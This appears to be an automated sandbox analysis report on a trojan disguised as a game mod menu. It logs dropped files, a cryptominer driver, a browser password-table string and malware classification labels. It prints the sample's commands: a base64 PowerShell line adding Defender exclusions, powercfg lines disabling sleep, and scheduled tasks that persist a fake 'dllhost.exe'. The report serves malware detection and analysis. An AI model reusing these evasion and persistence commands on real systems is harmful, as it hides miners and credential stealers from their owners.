Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009D3510	2_2_009D3510
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E9D00	2_2_009E9D00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A1FD00	2_2_00A1FD00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A19500	2_2_00A19500
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009C9D30	2_2_009C9D30
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009D6530	2_2_009D6530
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E3530	2_2_009E3530
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009FFD20	2_2_009FFD20
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A23D60	2_2_00A23D60
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CCD50	2_2_009CCD50
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009FB560	2_2_009FB560
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A03EA0	2_2_00A03EA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009C9690	2_2_009C9690
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CE690	2_2_009CE690
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A02E80	2_2_00A02E80
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009C16B0	2_2_009C16B0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E5EB0	2_2_009E5EB0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A15690	2_2_00A15690
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A0AEE0	2_2_00A0AEE0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009D76C0	2_2_009D76C0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009FAEC0	2_2_009FAEC0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CB6F0	2_2_009CB6F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E66F0	2_2_009E66F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009FD6E0	2_2_009FD6E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009F86E0	2_2_009F86E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CC610	2_2_009CC610
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E0E10	2_2_009E0E10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A27E10	2_2_00A27E10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009D0620	2_2_009D0620
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009EFE20	2_2_009EFE20
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A29E60	2_2_00A29E60
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A24640	2_2_00A24640
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A09650	2_2_00A09650
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CDE60	2_2_009CDE60
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A06F90	2_2_00A06F90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A1FF90	2_2_00A1FF90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A107F0	2_2_00A107F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E6FC0	2_2_009E6FC0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A12FC0	2_2_00A12FC0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009C27E0	2_2_009C27E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CBF10	2_2_009CBF10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E2F10	2_2_009E2F10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009CA700	2_2_009CA700
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A43718	2_2_00A43718
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009D3F20	2_2_009D3F20
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009E1F50	2_2_009E1F50
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_009D9740	2_2_009D9740
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Code function: 14_2_00D8F2E4	14_2_00D8F2E4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_049DB570	17_2_049DB570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_049DB550	17_2_049DB550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_089C3EB0	17_2_089C3EB0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Dllhost\WinRing0x64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe 483B1D7DAC70DE82E9B22A0C1ED775CF7E10B0A3790C5AA1B9215DBCD1754302

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: String function: 00A3607C appears 44 times
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: String function: 00A3AE24 appears 34 times
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: String function: 0041AFF0 appears 117 times
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: String function: 0040B380 appears 45 times
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: String function: 00A2DE10 appears 96 times

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7640 -s 404

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: invalid certificate

Source: winlogson.exe.14.dr

Static PE information: Number of sections : 11 > 10

Source: winlogson.exe.14.dr

Static PE information: No import functions for PE file found

Source: winlogson.exe.14.dr

Static PE information: Data appended to the last section found

Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016824681.0000000001665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTask32Main.exe@ vs Kiddion's Modest Menu v.1.0.0.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTask32Main.exe@ vs Kiddion's Modest Menu v.1.0.0.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTask32Main.exe@ vs Kiddion's Modest Menu v.1.0.0.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTask32Main.exe@ vs Kiddion's Modest Menu v.1.0.0.exe

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Kiddion's Modest Menu v.1.0.0.exe	Static PE information: Section: .bss ZLIB complexity 1.0003319215238764
Source: Kiddion's Modest Menu v.1.0.0.exe	Static PE information: Section: .bss ZLIB complexity 1.0003319215238764

Source: WinRing0x64.sys.14.dr

Binary string: \Device\WinRing0_1_2_0

Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1486956523.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: tem3:\Wi\Mic;.VBPRO432=AMD6!

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@33/17@4/4

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Code function: 2_2_00444EA0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00444EA0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7640
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Mutant created: \Sessions\1\BaseNamedObjects\ProgramV3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:120:WilError_03

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

File created: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

Jump to behavior

Source: Kiddion's Modest Menu v.1.0.0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1165637089.0000000003C25000.00000004.00000800.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1165821679.0000000001662000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Kiddion's Modest Menu v.1.0.0.exe	Virustotal: Detection: 69%
Source: Kiddion's Modest Menu v.1.0.0.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

File read: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe "C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe"
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe "C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe"
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7640 -s 404
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe "C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe"
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA=="
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe "C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Process created: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe "C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEIAQQBtAHcAUwBsAGkAMABzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAVgBDAGoAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBSADgAWgA5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFcATQB1ADAAdABEAEEAIwA+AA=="	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5846" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
